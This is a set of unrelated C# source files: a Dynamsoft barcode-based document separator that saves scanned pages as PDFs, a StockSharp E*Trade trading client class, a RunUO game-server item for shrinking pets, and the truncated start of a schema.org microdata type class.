using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using Dynamsoft.Barcode; using Dynamsoft.Core; using Dynamsoft.TWAIN; using Dynamsoft.TWAIN.Interface; using Dynamsoft.PDF; using System.IO; using System.Runtime.InteropServices; namespace SeparateDocumentByBarcode { public partial class Form1 : Form,Dynamsoft.TWAIN.Interface.IAcquireCallback { public Form1() { InitializeComponent(); Initialization(); m_ImageCore = new ImageCore(); dsViewer1.Bind(m_ImageCore); m_TwainManager = new TwainManager(m_StrProductKey); m_PDFCreator = new PDFCreator(m_StrProductKey); } private string m_StrProductKey = "t0068MgAAAENENwNWc7+efmkY+t7se6XaRPFZkvfB7QWiTjHiLykxngQdY09pzVtOvrefXBbVvYFbJSluECHlyxaOvHwUADk="; private ImageCore m_ImageCore = null; private TwainManager m_TwainManager = null; private PDFCreator m_PDFCreator = null; protected void Initialization() { this.Icon = new Icon(typeof(Form), "wfc.ico"); this.dsViewer1.Visible = false; this.cmbBarcodeFormat.DropDownStyle = ComboBoxStyle.DropDownList; cmbBarcodeFormat.Items.Add("All"); cmbBarcodeFormat.Items.Add("OneD"); cmbBarcodeFormat.Items.Add("Code 39"); cmbBarcodeFormat.Items.Add("Code 128"); cmbBarcodeFormat.Items.Add("Code 93"); cmbBarcodeFormat.Items.Add("Codabar"); cmbBarcodeFormat.Items.Add("Interleaved 2 of 5"); cmbBarcodeFormat.Items.Add("EAN-13"); cmbBarcodeFormat.Items.Add("EAN-8"); cmbBarcodeFormat.Items.Add("UPC-A"); cmbBarcodeFormat.Items.Add("UPC-E"); cmbBarcodeFormat.Items.Add("PDF417"); cmbBarcodeFormat.Items.Add("QRCode"); cmbBarcodeFormat.Items.Add("Datamatrix"); cmbBarcodeFormat.Items.Add("Industrial 2 of 5"); cmbBarcodeFormat.SelectedIndex = 0; InitPicMode(); ToolTip toolTip1 = new ToolTip(); toolTip1.AutoPopDelay = 5000; toolTip1.InitialDelay = 1000; toolTip1.ReshowDelay = 500; toolTip1.ShowAlways = true; toolTip1.SetToolTip(this.picFAQMode1, "All pages in all source files are considered \r\nas one uninterrupted sequence of pages. \r\nDestination files are arranged so that \r\nthe first page always contains a barcode. "); ToolTip toolTip2 = new ToolTip(); toolTip2.AutoPopDelay = 5000; toolTip2.InitialDelay = 1000; toolTip2.ReshowDelay = 500; toolTip2.ShowAlways = true; toolTip2.SetToolTip(this.picFAQMode2, "Each page contains a barcode and the pages \r\nwhere barcodes coincide are detected and \r\ngot merged to a PDF file."); } private void radMode1_CheckedChanged(object sender, EventArgs e) { InitPicMode(); } private void radMode2_CheckedChanged(object sender, EventArgs e) { InitPicMode(); } private void InitPicMode() { if (radMode1.Checked == true) { this.picMode1.Image = global::SeparateDocumentByBarcode.Properties.Resources.Mode1_Selected; this.picMode2.Image = global::SeparateDocumentByBarcode.Properties.Resources.Mode2; } else { this.picMode1.Image = global::SeparateDocumentByBarcode.Properties.Resources.Mode1; this.picMode2.Image = global::SeparateDocumentByBarcode.Properties.Resources.Mode2_Selected; } } List<string> m_listBarcodeType = null; string strBarcodeFormat = null; private void SaveFileByBarcodeText() { m_listBarcodeType = new List<string>(); List<List<short>> listImageIndex = new List<List<short>>(); List<short> listIndex = new List<short>(); listImageIndex.Add(listIndex); //use to save no barcode files BarcodeReader reader = new BarcodeReader(); reader.LicenseKeys = m_StrProductKey; try { switch (cmbBarcodeFormat.SelectedIndex) { case 0: break; case 1: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.OneD; break; case 2: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODE_39; break; case 3: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODE_128; break; case 4: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODE_93; break; case 5: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODABAR; break; case 6: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.ITF; break; case 7: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.EAN_13; break; case 8: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.EAN_8; break; case 9: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.UPC_A; break; case 10: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.UPC_E; break; case 11: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.PDF417; break; case 12: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.QR_CODE; break; case 13: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.DATAMATRIX; break; case 14: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.INDUSTRIAL_25; break; } strBarcodeFormat = reader.ReaderOptions.BarcodeFormats.ToString(); if (cmbBarcodeFormat.SelectedIndex == 0) { strBarcodeFormat = "All"; } for (int i = 0; i < m_ImageCore.ImageBuffer.HowManyImagesInBuffer; i++) { BarcodeResult[] aryResult = null; aryResult = reader.DecodeBitmap((Bitmap)m_ImageCore.ImageBuffer.GetBitmap((short)i)); if (null == aryResult || (aryResult != null && aryResult.Length == 0)) { //If no barcode found on the current image, add it to the image list for saving UpdateDateList(0, i, ref listImageIndex); } else //If a barcode is found, restart the list { string strBarcodeText = aryResult[0].BarcodeText; int iPosition = 0; if (IfExistBarcodeText(strBarcodeText, out iPosition)) { UpdateDateList(iPosition, i, ref listImageIndex); } else { m_listBarcodeType.Add(strBarcodeText); AddDateList(i, ref listImageIndex); } } } SaveImages(listImageIndex); } catch (Exception exp) { MessageBox.Show(exp.Message, "Decoding error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } private void AddDateList(int index, ref List<List<short>> listImageIndex) { List<short> listIndex = new List<short>(); listIndex.Add((short)index); listImageIndex.Add(listIndex); } private void UpdateDateList(int iPosition, int index, ref List<List<short>> listImageIndex) { List<short> listIndex = new List<short>(); listIndex = listImageIndex[iPosition]; listIndex.Add((short)index); listImageIndex[iPosition] = listIndex; } private bool IfExistBarcodeText(string strBarcodeText, out int iPosition) { iPosition = 0; bool bRet = false; string strTemp = ""; int i = 0; for (i = 0; i < m_listBarcodeType.Count; i++) { strTemp = m_listBarcodeType[i]; if (strBarcodeText.Trim().ToLower().CompareTo(strTemp.Trim().ToLower()) == 0) { iPosition = i + 1; bRet = true; break; } } return bRet; } bool bHasBarcodeOnFirstImage = false; private void SaveImages(List<List<short>> listImageIndex) { int index = 0; FolderBrowserDialog objFolderBrowserDialog = new FolderBrowserDialog(); if (objFolderBrowserDialog.ShowDialog() == DialogResult.OK) { foreach (List<short> list in listImageIndex) { if (list.Count != 0) { string strFirstPDFName = null; if (radMode1.Checked == true) { if (index == 0 && bHasBarcodeOnFirstImage == false) { strFirstPDFName = objFolderBrowserDialog.SelectedPath.Trim() + "\\" + strBarcodeFormat.ToString() + "-BeginWithNoBarcode.pdf"; int i = 2; while (System.IO.File.Exists(strFirstPDFName)) { strFirstPDFName = String.Format(objFolderBrowserDialog.SelectedPath.Trim() + "\\" + strBarcodeFormat.ToString() + "-BeginWithNoBarcode({0}).pdf", i); i++; } DyPDFCreator tempPDFCreator = new DyPDFCreator(m_ImageCore, list,m_PDFCreator); tempPDFCreator.SaveAsPDF(strFirstPDFName); } else { if (index == 0 && bHasBarcodeOnFirstImage == true) index = 1; if (m_listBarcodeType != null) { string strTempPDFName = m_listBarcodeType[index - 1]; strTempPDFName = this.SetPDFFileName(objFolderBrowserDialog.SelectedPath.Trim(), strBarcodeFormat.ToString(), m_listBarcodeType[index - 1]); DyPDFCreator tempPDFCreator = new DyPDFCreator(m_ImageCore,list,m_PDFCreator); tempPDFCreator.SaveAsPDF(strTempPDFName); } } } else { if (index == 0) { strFirstPDFName = objFolderBrowserDialog.SelectedPath.Trim() + "\\" + strBarcodeFormat.ToString() + "-None.pdf"; int i = 2; while (System.IO.File.Exists(strFirstPDFName)) { strFirstPDFName = String.Format(objFolderBrowserDialog.SelectedPath.Trim() + "\\" + strBarcodeFormat.ToString() + "-None({0}).pdf", i); i++; } DyPDFCreator tempPDFCreator = new DyPDFCreator(m_ImageCore,list,m_PDFCreator); tempPDFCreator.SaveAsPDF(strFirstPDFName); } else { string strTempPDFName = null; strTempPDFName = this.SetPDFFileName(objFolderBrowserDialog.SelectedPath.Trim(), strBarcodeFormat.ToString(), m_listBarcodeType[index - 1]); DyPDFCreator tempPDFCreator = new DyPDFCreator(m_ImageCore,list,m_PDFCreator); tempPDFCreator.SaveAsPDF(strTempPDFName); } } } index++; } } } private void SaveFileByBegainWithBarcode() { m_listBarcodeType = new List<string>(); List<List<short>> listImageIndex = new List<List<short>>(); List<short> listIndex = null; BarcodeReader reader = new BarcodeReader(); bHasBarcodeOnFirstImage = false; reader.LicenseKeys = m_StrProductKey; try { for (int i = 0; i < m_ImageCore.ImageBuffer.HowManyImagesInBuffer; i++) { if (null == listIndex) listIndex = new List<short>(); switch (cmbBarcodeFormat.SelectedIndex) { case 0: break; case 1: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.OneD; break; case 2: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODE_39; break; case 3: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODE_128; break; case 4: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODE_93; break; case 5: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.CODABAR; break; case 6: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.ITF; break; case 7: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.EAN_13; break; case 8: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.EAN_8; break; case 9: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.UPC_A; break; case 10: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.UPC_E; break; case 11: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.PDF417; break; case 12: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.QR_CODE; break; case 13: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.DATAMATRIX; break; case 14: reader.ReaderOptions.BarcodeFormats = Dynamsoft.Barcode.BarcodeFormat.INDUSTRIAL_25; break; } strBarcodeFormat = reader.ReaderOptions.BarcodeFormats.ToString(); if (cmbBarcodeFormat.SelectedIndex == 0) { strBarcodeFormat = "All"; } BarcodeResult[] aryResult = null; aryResult = reader.DecodeBitmap(m_ImageCore.ImageBuffer.GetBitmap((short)i)); if (i == 0) { if (aryResult != null) if (aryResult.Length != 0) bHasBarcodeOnFirstImage = true; } if (null == aryResult || (aryResult != null && aryResult.Length == 0)) { listIndex.Add((short)i); //If no barcode found on the current image, add it to the image list for saving } else { m_listBarcodeType.Add(aryResult[0].BarcodeText); if (listIndex != null && listIndex.Count > 0) { listImageIndex.Add(listIndex); listIndex = null; } //If a barcode is found, restart the list if (null == listIndex) listIndex = new List<short>(); listIndex.Add((short)i); } } if (listIndex != null) { listImageIndex.Add(listIndex); //save a last set of data listIndex = null; } SaveImages(listImageIndex); } catch (Exception exp) { MessageBox.Show(exp.Message, "Decoding error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } private void btnScan_Click(object sender, EventArgs e) { //m_TwainManager.SelectSource(); //m_TwainManager.OpenSource(); //m_TwainManager.IfAutoFeed = true; //m_TwainManager.IfFeederEnabled = true; //m_TwainManager.IfShowUI = false; //m_TwainManager.AcquireImage(this as IAcquireCallback); //dsViewer1.Visible = true; List<string> tempList = new List<string>(); for (int i = 0; i < m_TwainManager.SourceCount; i++) { tempList.Add(m_TwainManager.SourceNameItems((short)i)); } SourceListWrapper tempSourceListWrapper = new SourceListWrapper(tempList); int iSelectIndex = tempSourceListWrapper.SelectSource(); if (iSelectIndex == -1) { return; } m_TwainManager.SelectSourceByIndex((short)iSelectIndex); m_TwainManager.OpenSource(); m_TwainManager.IfAutoFeed = true; m_TwainManager.IfFeederEnabled = true; m_TwainManager.IfShowUI = false; m_TwainManager.AcquireImage(this as IAcquireCallback); dsViewer1.Visible = true; } private void btnRemoveAllImage_Click(object sender, EventArgs e) { m_ImageCore.ImageBuffer.RemoveAllImages(); dsViewer1.Visible = false; } private void btnRemoveSelectedImages_Click(object sender, EventArgs e) { m_ImageCore.ImageBuffer.RemoveImages(dsViewer1.CurrentSelectedImageIndicesInBuffer); if (m_ImageCore.ImageBuffer.HowManyImagesInBuffer == 0) dsViewer1.Visible = false; } private void btnSave_Click(object sender, EventArgs e) { if (m_ImageCore.ImageBuffer.HowManyImagesInBuffer > 0) { if (this.radMode1.Checked == true) SaveFileByBegainWithBarcode(); else SaveFileByBarcodeText(); } } private string SetPDFFileName(string FileFolder, string strBarcodeType, string strText) { int iCharindex = 0; string strBarcodeText = strText; string strFullPDFName = null; string strPDFName = null; bool bHasillegalcharacter = false; foreach (char text in strBarcodeText) { bool bIsillegalcharacter = false; foreach (char temp in System.IO.Path.GetInvalidFileNameChars()) { if (text == temp) { bIsillegalcharacter = true; bHasillegalcharacter = true; } } if (bIsillegalcharacter) { strBarcodeText = strBarcodeText.Remove(iCharindex, 1); iCharindex--; } iCharindex++; } strFullPDFName = strBarcodeType + "-" + strBarcodeText; int i = 2; string FilePath = FileFolder + "\\" + strFullPDFName + ".pdf"; while (System.IO.File.Exists(FilePath)) { strFullPDFName = string.Format(strBarcodeType + "-" + strBarcodeText + "({0})", i); FilePath = FileFolder + "\\" + strFullPDFName + ".pdf"; i++; } if (bHasillegalcharacter) { SeparateDocumentByBarcode.Form2 fSetFileNameForm = new SeparateDocumentByBarcode.Form2(FileFolder, strFullPDFName); fSetFileNameForm.ShowDialog(); strPDFName = FileFolder + "\\" + fSetFileNameForm.GetPDfFileName(); } else { strPDFName = FileFolder + "\\" + strFullPDFName + ".pdf"; } return strPDFName; } #region IAcquireCallback Members public void OnPostAllTransfers() { } public bool OnPostTransfer(Bitmap bit) { m_ImageCore.IO.LoadImage(bit); return true; } public void OnPreAllTransfers() { } public bool OnPreTransfer() { return true; } public void OnSourceUIClose() { } public void OnTransferCancelled() { } public void OnTransferError() { } #endregion private void Form1_FormClosed(object sender, FormClosedEventArgs e) { m_TwainManager.Dispose(); } } }
#region S# License /****************************************************************************************** NOTICE!!! This program and source code is owned and licensed by StockSharp, LLC, www.stocksharp.com Viewing or use of this code requires your acceptance of the license agreement found at https://github.com/StockSharp/StockSharp/blob/master/LICENSE Removal of this comment is a violation of the license agreement. Project: StockSharp.ETrade.Native.ETrade File: ETradeClient.cs Created: 2015, 11, 11, 2:32 PM Copyright 2010 by StockSharp, LLC *******************************************************************************************/ #endregion S# License namespace StockSharp.ETrade.Native { using System; using System.Collections.Generic; using System.Linq; using System.Security; using Ecng.Common; using StockSharp.BusinessEntities; using StockSharp.Logging; using StockSharp.Localization; partial class ETradeClient : BaseLogReceiver { internal readonly ETradeDispatcher Dispatcher; internal readonly ETradeApi Api; private readonly ETradeAccountsModule _accountsModule; private readonly ETradeMarketModule _marketModule; private readonly ETradeOrderModule _orderModule; private readonly List<string> _portfolioNames = new List<string>(); internal ETradeConnection Connection {get; private set;} public Security[] SandboxSecurities { get; set; } public string ConsumerKey { get { return Api.ConsumerKey; } set { Api.ConsumerKey = value; } } public SecureString ConsumerSecret { get { return Api.ConsumerSecret; } set { Api.ConsumerSecret = value; } } public OAuthToken AccessToken { get { return Connection.AccessToken; } set { Connection.AccessToken = value; } } public string VerificationCode { get; set; } public bool Sandbox { get { return Api.Sandbox; } set { Api.Sandbox = value; } } public bool IsConnected => Connection.IsConnected; public bool IsExportStarted { get; private set; } public event Action ConnectionStateChanged; public event Action<Exception> ConnectionError; public event Action<Exception> Error; public event Action<long, IEnumerable<ProductInfo>, Exception> ProductLookupResult; public event Action<long, PlaceEquityOrderResponse2, Exception> OrderRegisterResult; public event Action<long, PlaceEquityOrderResponse2, Exception> OrderReRegisterResult; public event Action<long, long, CancelOrderResponse2, Exception> OrderCancelResult; public event Action<List<AccountInfo>, Exception> AccountsData; public event Action<string, IEnumerable<PositionInfo>, Exception> PositionsData; public event Action<string, IEnumerable<Order>, Exception> OrdersData; public event Action ExportStarted; public event Action ExportStopped; public ETradeClient() { Api = new ETradeApi(this); Dispatcher = new ETradeDispatcher(DispatcherErrorHandler); Connection = new ETradeConnection(this); Connection.ConnectionStateChanged += OnConnectionStateChanged; _accountsModule = new ETradeAccountsModule(this); _marketModule = new ETradeMarketModule(this); _orderModule = new ETradeOrderModule(this); } private void DispatcherErrorHandler(Exception exception) { this.AddErrorLog(LocalizedStrings.Str3355Params, Dispatcher.GetThreadName(), exception); RaiseError(exception); } public void SetCustomAuthorizationMethod(Action<string> method) { Connection.AuthorizationAction = method; } public void LookupSecurities(string name, long transactionId) { if (!IsConnected) throw new InvalidOperationException(LocalizedStrings.Str3356); if (name.IsEmpty()) throw new InvalidOperationException(LocalizedStrings.Str3357); _marketModule.ExecuteUserRequest(new ETradeProductLookupRequest(name), response => { ProductLookupResult.SafeInvoke(transactionId, response.Data, response.Exception); _orderModule.ResetOrderUpdateSettings(null, true); }); } public void Connect() { Dispatcher.OnRequestThreadAsync(() => { try { Connection.Connect(); } catch (Exception e) { ConnectionError.SafeInvoke(e); } }); } public void Disconnect() { Dispatcher.OnRequestThreadAsync(() => { _accountsModule.Stop(); _marketModule.Stop(); _orderModule.Stop(); Connection.Disconnect(); }); } private void OnConnectionStateChanged() { ConnectionStateChanged.SafeInvoke(); if (Connection.IsConnected) { Dispatcher.OnResponseThreadAsync(() => { RaiseHardcodedDataEvents(); StartExport(); }); } } public void StartExport() { Dispatcher.OnResponseThreadAsync(() => { IsExportStarted = true; ExportStarted.SafeInvoke(); RaiseHardcodedDataEvents(); _accountsModule.HandleClientState(); _marketModule.HandleClientState(); _orderModule.HandleClientState(); }); } public void StopExport() { Dispatcher.OnResponseThreadAsync(() => { IsExportStarted = false; ExportStopped.SafeInvoke(); }); } private void RaiseHardcodedDataEvents() { if (!Sandbox || SandboxSecurities == null) return; var products = SandboxSecurities.Select(sec => new ProductInfo { companyName = sec.Name, exchange = sec.Board.Exchange.Name, securityType = "EQ", symbol = sec.Code }).ToArray(); ProductLookupResult.SafeInvoke(0, products, null); } private void RaiseError(Exception exception) { Error.SafeInvoke(exception); } } }
#region AuthorHeader // // Shrink System version 2.1, by Xanthos // // #endregion AuthorHeader using System; using Server; using Server.Items; using Server.Mobiles; using Server.Targeting; using System.Collections; using System.Collections.Generic; using Server.ContextMenus; using Xanthos.Utilities; using Xanthos.Interfaces; using Server.Regions; namespace Xanthos.ShrinkSystem { public class ShrinkItem : Item, IShrinkItem { // Persisted private bool m_IsStatuette; private bool m_Locked; private Mobile m_Owner; private BaseCreature m_Pet; // Not persisted; lazy loaded. private bool m_PropsLoaded; private string m_Breed; private string m_Gender; private bool m_IsBonded; private string m_Name; private int m_RawStr; private int m_RawDex; private int m_RawInt; private double m_Wrestling; private double m_Tactics; private double m_Anatomy; private double m_Poisoning; private double m_Magery; private double m_EvalInt; private double m_MagicResist; private double m_Meditation; private double m_Archery; private double m_Fencing; private double m_Macing; private double m_Swords; private double m_Parry; private int m_EvoEp; private int m_EvoStage; private bool m_IgnoreLockDown; // Is only ever changed by staff [CommandProperty( AccessLevel.GameMaster )] public bool IsStatuette { get { return m_IsStatuette; } set { if ( null == ShrunkenPet ) { ItemID = 0xFAA; Name = "unlinked shrink item!"; } else if ( m_IsStatuette = value ) { ItemID = ShrinkTable.Lookup( m_Pet ); Name = "a shrunken pet"; } else { ItemID = 0x14EF; Name = "a pet deed"; } } } [CommandProperty( AccessLevel.GameMaster )] public bool IgnoreLockDown { get { return m_IgnoreLockDown; } set { m_IgnoreLockDown = value; InvalidateProperties(); } } [CommandProperty( AccessLevel.GameMaster )] public bool Locked { get { return m_Locked; } set { m_Locked = value; InvalidateProperties(); } } [CommandProperty( AccessLevel.GameMaster )] public Mobile Owner { get { return m_Owner; } set { m_Owner = value; InvalidateProperties(); } } [CommandProperty( AccessLevel.GameMaster )] public BaseCreature ShrunkenPet { get { return m_Pet; } set { m_Pet = value; InvalidateProperties(); } } public ShrinkItem() : base() { } public ShrinkItem( Serial serial ) : base( serial ) { } public ShrinkItem( BaseCreature pet ) : this() { ShrinkPet( pet ); IsStatuette = ShrinkConfig.PetAsStatuette; m_IgnoreLockDown = false; // This is only used to allow GMs to bypass the lockdown, one pet at a time. // Scriptiz : le poids varie en fonction de la force du pet Weight = (int)Math.Round(pet.Str / 5.0); //ShrinkConfig.ShrunkenWeight; if ( !(m_Pet is IEvoCreature) || ((IEvoCreature)m_Pet).CanHue ) Hue = m_Pet.Hue; } public override void OnDoubleClick( Mobile from ) { if ( !m_PropsLoaded ) PreloadProperties(); if ( !IsChildOf( from.Backpack ) ) from.SendLocalizedMessage( 1042001 ); // That must be in your pack for you to use it. else if ( m_Pet == null || m_Pet.Deleted || ItemID == 0xFAA ) from.SendMessage( "Due to unforseen circumstances your pet is lost forever." ); else if ( m_Locked && m_Owner != from ) { from.SendMessage( "This is locked and only the owner can claim this pet while locked." ); from.SendMessage( "This item is now being returned to its owner." ); m_Owner.AddToBackpack( this ); m_Owner.SendMessage( "Your pet {0} has been returned to you because it was locked and {1} was trying to claim it.", m_Breed, from.Name ); } else if ( from.Followers + m_Pet.ControlSlots > from.FollowersMax ) from.SendMessage( "You have to many followers to claim this pet." ); else if ( Server.Spells.SpellHelper.CheckCombat( from ) ) from.SendMessage( "You cannot reclaim your pet while your fighting." ); else if ( ShrinkCommands.LockDown == true && !m_IgnoreLockDown ) from.SendMessage( 54, "The server is on a shrinkitem lockdown. You cannot unshrink your pet at this time." ); else if ( !m_Pet.CanBeControlledBy( from )) from.SendMessage( "You do not have the required skills to control this pet."); else UnshrinkPet( from ); } private void ShrinkPet( BaseCreature pet ) { m_Pet = pet; m_Owner = pet.ControlMaster; if ( ShrinkConfig.LootStatus == ShrinkConfig.BlessStatus.All || ( m_Pet.IsBonded && ShrinkConfig.LootStatus == ShrinkConfig.BlessStatus.BondedOnly )) LootType = LootType.Blessed; else LootType = LootType.Regular; m_Pet.Internalize(); m_Pet.SetControlMaster( null ); m_Pet.ControlOrder = OrderType.Stay; m_Pet.SummonMaster = null; m_Pet.IsStabled = true; if ( pet is IEvoCreature ) ((IEvoCreature)m_Pet).OnShrink( this ); } private void UnshrinkPet( Mobile from ) { m_Pet.SetControlMaster( from ); m_Pet.IsStabled = false; m_Pet.MoveToWorld( from.Location, from.Map ); if ( from != m_Owner ) m_Pet.IsBonded = false; m_Pet = null; this.Delete(); } // Summoning ball was used so dispose of the shrink item public void OnPetSummoned() { m_Pet = null; Delete(); } public override void Delete() { if ( m_Pet != null ) // Don't orphan pets on the internal map m_Pet.Delete(); base.Delete(); } public override void GetContextMenuEntries( Mobile from, List<ContextMenuEntry> list ) { base.GetContextMenuEntries( from, list ); if (( ShrinkConfig.AllowLocking || m_Locked == true ) && from.Alive && m_Owner == from ) { if ( m_Locked == false ) list.Add( new LockShrinkItem( from, this ) ); else list.Add( new UnLockShrinkItem( from, this ) ); } } public override void AddNameProperties( ObjectPropertyList list ) { base.AddNameProperties( list ); if ( null == m_Pet || m_Pet.Deleted ) return; if ( !m_PropsLoaded ) PreloadProperties(); if ( m_IsBonded && ShrinkConfig.BlessStatus.None == ShrinkConfig.LootStatus ) // Only show bonded when the item is not blessed list.Add( 1049608 ); if ( ShrinkConfig.AllowLocking || m_Locked ) // Only show lock status when locking enabled or already locked list.Add( 1049644, ( m_Locked == true ) ? "Locked" : "Unlocked" ); if ( ShrinkConfig.ShowPetDetails ) { list.Add( 1060663, "Name\t{0} Breed: {1} Gender: {2}", m_Name, m_Breed, m_Gender ); list.Add( 1061640, ( null == m_Owner ) ? "nobody (WILD)" : m_Owner.Name ); // Owner: ~1_OWNER~ list.Add( 1060659, "Stats\tStrength {0}, Dexterity {1}, Intelligence {2}", m_RawStr, m_RawDex, m_RawInt ); list.Add( 1060660, "Combat Skills\tWrestling {0}, Tactics {1}, Anatomy {2}, Poisoning {3}", m_Wrestling, m_Tactics, m_Anatomy, m_Poisoning ); list.Add( 1060661, "Magic Skills\tMagery {0}, Eval Intel {1}, Magic Resist {2}, Meditation {3}", m_Magery, m_EvalInt, m_MagicResist, m_Meditation ); if ( !( 0 == m_Parry && 0 == m_Archery )) list.Add( 1060661, "Weapon Skills\tArchery {0}, Fencing {1}, Macing {2}, Parry {3}, Swords {4}", m_Archery, m_Fencing, m_Macing, m_Parry, m_Swords ); if ( m_EvoEp > 0 ) list.Add( 1060662, "EP\t{0}, Stage: {1}", m_EvoEp, m_EvoStage + 1 ); } else list.Add( 1060663, "Name\t{0}", m_Name ); } private void PreloadProperties() { if ( null == m_Pet ) return; m_IsBonded = m_Pet.IsBonded; m_Name = m_Pet.Name; m_Gender = (m_Pet.Female ? "Female" : "Male"); m_Breed = Xanthos.Utilities.Misc.GetFriendlyClassName( m_Pet.GetType().Name ); m_RawStr = m_Pet.RawStr; m_RawDex = m_Pet.RawDex; m_RawInt = m_Pet.RawInt; m_Wrestling = m_Pet.Skills[SkillName.Wrestling].Base; m_Tactics = m_Pet.Skills[SkillName.Tactics].Base; m_Anatomy = m_Pet.Skills[SkillName.Anatomy].Base; m_Poisoning = m_Pet.Skills[SkillName.Poisoning].Base; m_Magery = m_Pet.Skills[SkillName.Magery].Base; m_EvalInt = m_Pet.Skills[SkillName.EvalInt].Base; m_MagicResist = m_Pet.Skills[SkillName.MagicResist].Base; m_Meditation = m_Pet.Skills[SkillName.Meditation].Base; m_Parry = m_Pet.Skills[SkillName.Parry].Base; m_Archery = m_Pet.Skills[SkillName.Archery].Base; m_Fencing = m_Pet.Skills[SkillName.Fencing].Base; m_Swords = m_Pet.Skills[SkillName.Swords].Base; m_Macing = m_Pet.Skills[SkillName.Macing].Base; IEvoCreature evo = m_Pet as IEvoCreature; if ( null != evo ) { m_EvoEp = evo.Ep; m_EvoStage = evo.Stage; } m_PropsLoaded = true; } public static bool IsPackAnimal( BaseCreature pet ) { if ( null == pet || pet.Deleted ) return false; Type breed = pet.GetType(); foreach ( Type packBreed in ShrinkConfig.PackAnimals ) if ( packBreed == breed ) return true; return false; } public override void Serialize( GenericWriter writer ) { base.Serialize( writer ); writer.Write( (int)0 ); // version writer.Write( m_IsStatuette ); writer.Write( m_Locked ); writer.Write( (Mobile)m_Owner ); writer.Write( (Mobile)m_Pet ); } public override void Deserialize( GenericReader reader ) { base.Deserialize( reader ); switch ( reader.ReadInt() ) { case 0: { m_IsStatuette = reader.ReadBool(); m_Locked = reader.ReadBool(); m_Owner = (PlayerMobile)reader.ReadMobile(); m_Pet = (BaseCreature)reader.ReadMobile(); if (null != m_Pet ) m_Pet.IsStabled = true; break; } } } } public class LockShrinkItem : ContextMenuEntry { private Mobile m_From; private ShrinkItem m_ShrinkItem; public LockShrinkItem( Mobile from, ShrinkItem shrink ) : base( 2029, 5 ) { m_From = from; m_ShrinkItem = shrink; } public override void OnClick() { m_ShrinkItem.Locked = true; m_From.SendMessage( 38, "You have locked this shrunken pet so only you can reclaim it." ); } } public class UnLockShrinkItem : ContextMenuEntry { private Mobile m_From; private ShrinkItem m_ShrinkItem; public UnLockShrinkItem( Mobile from, ShrinkItem shrink ) : base( 2033, 5 ) { m_From = from; m_ShrinkItem = shrink; } public override void OnClick() { m_ShrinkItem.Locked = false; m_From.SendMessage( 38, "You have unlocked this shrunken pet, now anyone can reclaim it as theirs." ); } } }
using System; using System.Globalization; using System.Collections.Generic; using Sasoma.Utils; using Sasoma.Microdata.Interfaces; using Sasoma.Languages.Core; using Sasoma.Microdata.Properties; namespace Sasoma.Microdata.Types { /// <summary> /// An outlet store. /// </summary> public class OutletStore_Core : TypeCore, IStore { public OutletStore_Core() { this._TypeId = 194; this._Id = "OutletStore"; this._Schema_Org_Url = "http://schema.org/OutletStore"; string label = ""; GetLabel(out label, "OutletStore", typeof(OutletStore_Core)); this._Label = label; this._Ancestors = new int[]{266,193,155,252}; this._SubTypes = new int[0]; this._SuperTypes = new int[]{252}; this._Properties = new int[]{67,108,143,229,5,10,49,85,91,98,115,135,159,199,196,47,75,77,94,95,130,137,36,60,152,156,167}; } /// <summary> /// Physical address of the item. /// </summary> private Address_Core address; public Address_Core Address { get { return address; } set { address = value; SetPropertyInstance(address); } } /// <summary> /// The overall rating, based on a collection of reviews or ratings, of the item. /// </summary> private Properties.AggregateRating_Core aggregateRating; public Properties.AggregateRating_Core AggregateRating { get { return aggregateRating; } set { aggregateRating = value; SetPropertyInstance(aggregateRating); } } /// <summary> /// The larger organization that this local business is a branch of, if any. /// </summary> private BranchOf_Core branchOf; public BranchOf_Core BranchOf { get { return branchOf; } set { branchOf = value; SetPropertyInstance(branchOf); } } /// <summary> /// A contact point for a person or organization. /// </summary> private ContactPoints_Core contactPoints; public ContactPoints_Core ContactPoints { get { return contactPoints; } set { contactPoints = value; SetPropertyInstance(contactPoints); } } /// <summary> /// The basic containment relation between places. /// </summary> private ContainedIn_Core containedIn; public ContainedIn_Core ContainedIn { get { return containedIn; } set { containedIn = value; SetPropertyInstance(containedIn); } } /// <summary> /// The currency accepted (in <a href=\http://en.wikipedia.org/wiki/ISO_4217\ target=\new\>ISO 4217 currency 